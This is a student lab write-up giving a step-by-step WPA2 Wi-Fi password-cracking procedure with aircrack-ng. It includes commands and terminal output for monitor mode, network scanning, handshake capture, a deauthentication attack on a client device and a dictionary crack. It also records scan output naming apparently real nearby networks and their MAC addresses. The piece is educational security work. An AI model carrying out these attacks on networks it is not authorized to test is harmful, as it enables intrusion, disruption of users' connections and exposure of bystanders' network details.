Date: 10/03/25

Lab Practical #12:

Study wireless attack and perform wifi password cracking using air-crack tool

Step 1: Kill Conflicting Processes

Before starting the Wi-Fi monitoring process, we need to kill any services that may interfere with network scanning.

sudo airmon-ng check kill

This command stops services like wpa_supplicant and NetworkManager, which could cause conflicts.

```
root@kali:~# airmon-ng check kill

Killing these processes:

    PID Name
   1424 wpa_supplicant

root@kali:~#
```

Step 2: Identify Wireless Interface

To find the name of the Wi-Fi interface, we use:

iwconfig

Output Example:

wlan0 IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated

Here, wlan0 is the Wi-Fi interface.

```
root@kali:~# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     unassociated  ESSID:""  Nickname:"<WIFI@REALTEK>"
          Mode:Managed  Frequency=2.412 GHz  Access Point: Not-Associated
          Sensitivity:0/0
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

root@kali:~#
```

Step 3: Enable Monitor Mode

Monitor mode allows the wireless adapter to capture packets from all nearby Wi-Fi networks.

sudo airmon-ng start wlan0

If successful, a new interface, usually named wlan0mon, is created.

To verify:

iwconfig

Output Example:

wlan0mon Mode:Monitor Frequency=2.457 GHz

Date: 10/03/25

```
root@kali:~# airmon-ng start wlan0

PHY     Interface       Driver          Chipset

phy0    wlan0           88XXau          Realtek Semiconductor Corp. RTL8814AU 802.11a/b/g/n/ac
                (monitor mode enabled)

root@kali:~#
root@kali:~# airmon-ng start wlan0

PHY     Interface       Driver          Chipset

phy0    wlan0           88XXau          Realtek Semiconductor Corp. RTL8814AU 802.11a/b/g/n/ac
                (monitor mode enabled)

root@kali:~# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     unassociated  ESSID:""  Nickname:"<WIFI@REALTEK>"
          Mode:Monitor  Frequency=2.457 GHz  Access Point: Not-Associated
          Sensitivity:0/0
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

root@kali:~#
```

Step 4: Scan Nearby Wi-Fi Networks

To list all available Wi-Fi networks and their details:

sudo airodump-ng wlan0mon

Output Example:

CH 1][Elapsed: 30 s][2025-03-05 08:11

BSSID PWR Beacons #Data, CH ENC CIPHER AUTH ESSID

42:38:70:XX:XX:XX -50 311 35 1 WPA2 CCMP PSK

Here, BSSID is the MAC address of the Wi-Fi router, and ESSID is the network name.

```
CH 64 ][ Elapsed: 18 s ][ 2025-03-05 08:09

BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

26:55:B9:33:86:EA  -52        3        0    0  40  866   WPA2 CCMP   PSK  <length:  0>
2A:55:B9:33:86:EA  -52        2        0    0  40  866   WPA2 CCMP   PSK  <length:  0>
14:55:B9:33:86:EA  -53        3        1    0  40  866   WPA2 CCMP   PSK  Airtel_Hiten Malvi
12:10:81:EF:8F:24  -85        6        0    0   4  130   WPA2 CCMP   PSK  VIJU
42:38:A4:0F:E0:70  -48       21        0    0   1  180   WPA2 CCMP   PSK  Hiten
14:55:B9:33:86:E9  -74       22        3    0   1  360   WPA2 CCMP   PSK  Airtel_Hiten Malvi
F4:8C:EB:11:1E:CE  -62       13        0    0  11  130   WPA2 CCMP   PSK  Rusha-2.4GHz

BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

14:55:B9:33:86:EA  AC:F4:2C:12:0F:48   -1    6e- 0      0        1
14:55:B9:33:86:E9  9A:2A:71:93:D5:A9  -47    1e- 1e     0        5
```

Step 5: Capture the Handshake

Date: 10/03/25

To capture the WPA2 handshake, focus on a specific network:
sudo airodump-ng --bssid 42:38:70:XX:XX:XX --channel 1 --write handshake wlan0mon
This command continuously monitors the network for a **4-way handshake**, which occurs when a device connects to the network.

```
root@kali:~# airodump-ng --bssid 42:38:A4:0F:E0:70 --channel 1  wlan0
```

Step 6: Deauthenticate Clients (Optional)

To speed up the process of capturing the handshake, we can force a connected client to reconnect using a **deauthentication attack**:
sudo aireplay-ng --bssid 42:38:70:XX:XX:XX --deauth 7 wlan0mon
This forces the device to reconnect, making it more likely that we capture the handshake.

```
root@kali: ~ 109x15
root@kali:~# aireplay-ng --deauth 7 -a 42:38:A4:0F:E0:70 -c 10:6F:D9:BA:83:9D wlan0
08:14:50  Waiting for beacon frame (BSSID: 42:38:A4:0F:E0:70) on channel 1
08:14:50  Sending 64 directed DeAuth (code 7). STMAC: [10:6F:D9:BA:83:9D] [ 0| 0 ACKs]
08:14:51  Sending 64 directed DeAuth (code 7). STMAC: [10:6F:D9:BA:83:9D] [ 0| 0 ACKs]
08:14:51  Sending 64 directed DeAuth (code 7). STMAC: [10:6F:D9:BA:83:9D] [ 0| 0 ACKs]
08:14:52  Sending 64 directed DeAuth (code 7). STMAC: [10:6F:D9:BA:83:9D] [ 0| 0 ACKs]
08:14:53  Sending 64 directed DeAuth (code 7). STMAC: [10:6F:D9:BA:83:9D] [ 0| 0 ACKs]
08:14:53  Sending 64 directed DeAuth (code 7). STMAC: [10:6F:D9:BA:83:9D] [ 0| 0 ACKs]
08:14:54  Sending 64 directed DeAuth (code 7). STMAC: [10:6F:D9:BA:83:9D] [ 0| 0 ACKs]
```

Step 7: Verify Handshake Capture

Once the handshake is captured, we can check the saved file:
ls
If successful, we should see a file like handshake-01.cap.
To confirm the handshake is present:
aircrack-ng handshake-01.cap
If the handshake is captured, we can proceed to password cracking.

```
root@kali:~# ls
Desktop    cupp                              meet_hs-01.cap            rtgb_hs-01.kismet.csv
Documents  embedded-browser-no-sandbox.json  meet_hs-01.csv            rtgb_hs-01.kismet.netxml
Downloads  fw.txt                            meet_hs-01.kismet.csv     rtgb_hs-01.log.csv
Music      handshake_for_hiten-01.cap        meet_hs-01.kismet.netxml  users.txt
Pictures   handshake_for_hiten-01.csv        meet_hs-01.log.csv        wl_hiten
Public     handshake_for_hiten-01.kismet.csv rtgb_hs-01-dec.cap
Templates  handshake_for_hiten-01.kismet.netxml  rtgb_hs-01.cap
Videos     handshake_for_hiten-01.log.csv    rtgb_hs-01.csv
root@kali:~#
```

Step 8: Crack Wi-Fi Password Using Dictionary Attack

Using a wordlist (e.g., rockyou.txt), attempt to crack the WPA2 key:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 42:38:70:XX:XX:XX handshake-01.cap
If the password is found, it will be displayed as:
KEY FOUND! [01010101]

```
root@kali:~# crunch 8 8 01 -o my_custum-wl
Crunch will now generate the following amount of data: 2304 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 256

crunch: 100% completed generating output
root@kali:~#
```

Date: 10/03/25

```
root@kali:~# cat my_custum-wl
00000000
00000001
00000010
00000011
00000100
00000101
00000110
00000111
00001000
00001001
00001010
00001011
00001100
```

```
                          Aircrack-ng 1.7

     [00:00:00] 2/4 keys tested (29.84 k/s)

     Time left: 0 seconds                                      50.00%

                        KEY FOUND! [ 01010101 ]


     Master Key     : A8 47 01 5A C5 61 C2 FB 5A EE FB 7D C3 22 9F AB
                      11 F6 B3 68 A7 3C A0 97 C7 12 4F B7 84 92 9F 32

     Transient Key  : F8 67 8C 67 4A E3 22 B3 84 D2 55 CC 38 3D DD A9
                      2F 0C 98 43 D5 84 84 BC 38 13 91 09 B2 1D F0 F8
                      E2 A0 E9 E9 6D 25 A4 88 EC DE FF 87 E5 12 B7 3F
                      E5 70 76 42 8A CC B9 98 F2 51 AA E9 4D 19 E2 2B

     EAPOL HMAC     : 97 13 85 D6 A2 87 88 B8 C0 BB D1 D9 BA FD 04 14

root@kali:~#
```

Conclusion

Aircrack-ng is a powerful tool for assessing Wi-Fi security. This assignment demonstrated how to:

1. Set up monitor mode.
2. Scan and capture network packets.
3. Perform a deauthentication attack.
4. Crack Wi-Fi passwords using dictionary attacks.

By understanding these techniques, security professionals can improve Wi-Fi security by identifying vulnerabilities and implementing stronger protections, such as using complex passwords and WPA3 encryption.

Ethical Considerations

This assignment is strictly for **educational and security testing purposes**. Unauthorized access to Wi-Fi networks without permission is **illegal** and punishable by law. Always test only on networks you own or have permission to analyze.